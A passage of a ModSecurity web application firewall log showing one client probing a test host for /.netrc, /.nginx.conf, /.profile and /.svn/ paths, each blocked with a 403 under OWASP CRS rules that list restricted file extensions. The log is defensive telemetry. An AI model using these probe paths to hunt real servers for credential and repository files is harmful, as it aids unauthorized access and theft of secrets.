[Sun Mar 01 20:25:54.015790 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnuAAAAAE&quot;]
[Sun Mar 01 20:25:54.061394 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.nginx.conf&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnugAAAAE&quot;]
[Sun Mar 01 20:25:54.061886 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.nginx.conf&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnugAAAAE&quot;]
[Sun Mar 01 20:25:54.062050 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.nginx.conf&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnugAAAAE&quot;]
[Sun Mar 01 20:25:54.199724 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.profile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .profile found within REQUEST_FILENAME: /.profile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnwAAAAAE&quot;]
[Sun Mar 01 20:25:54.199966 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnwAAAAAE&quot;]
[Sun Mar 01 20:25:54.200130 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnwAAAAAE&quot;]
[Sun Mar 01 20:25:54.361886 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnxwAAAAE&quot;]
[Sun Mar 01 20:25:54.362155 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnxwAAAAE&quot;]
[Sun Mar 01 20:25:54.362329 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnxwAAAAE&quot;]
[Sun Mar 01 20:25:54.384510 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/auth/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/auth/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyAAAAAE&quot;]
[Sun Mar 01 20:25:54.384748 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/auth/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyAAAAAE&quot;]
[Sun Mar 01 20:25:54.384895 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/auth/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyAAAAAE&quot;]
[Sun Mar 01 20:25:54.407301 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/dir-prop-base&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-prop-base&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyQAAAAE&quot;]
[Sun Mar 01 20:25:54.407567 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-prop-base&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyQAAAAE&quot;]
[Sun Mar 01 20:25:54.407717 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-prop-base&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnyQAAAAE&quot;]
[Sun Mar 01 20:25:54.430212 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/dir-props&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnygAAAAE&quot;]
[Sun Mar 01 20:25:54.430473 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnygAAAAE&quot;]
[Sun Mar 01 20:25:54.430631 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/dir-props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnygAAAAE&quot;]
[Sun Mar 01 20:25:54.453081 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/format&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/format&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnywAAAAE&quot;]
[Sun Mar 01 20:25:54.453315 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/format&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnywAAAAE&quot;]
[Sun Mar 01 20:25:54.453464 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/format&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnywAAAAE&quot;]
[Sun Mar 01 20:25:54.475732 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/LOCK&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzAAAAAE&quot;]
[Sun Mar 01 20:25:54.475959 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/LOCK&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzAAAAAE&quot;]
[Sun Mar 01 20:25:54.476105 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/LOCK&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzAAAAAE&quot;]
[Sun Mar 01 20:25:54.498322 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/log&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzQAAAAE&quot;]
[Sun Mar 01 20:25:54.498579 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/log&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzQAAAAE&quot;]
[Sun Mar 01 20:25:54.498723 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/log&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzQAAAAE&quot;]
[Sun Mar 01 20:25:54.520959 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/pristine/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/pristine/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzgAAAAE&quot;]
[Sun Mar 01 20:25:54.521194 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/pristine/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzgAAAAE&quot;]
[Sun Mar 01 20:25:54.521347 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/pristine/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzgAAAAE&quot;]
[Sun Mar 01 20:25:54.543598 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/prop-base/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzwAAAAE&quot;]
[Sun Mar 01 20:25:54.543829 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzwAAAAE&quot;]
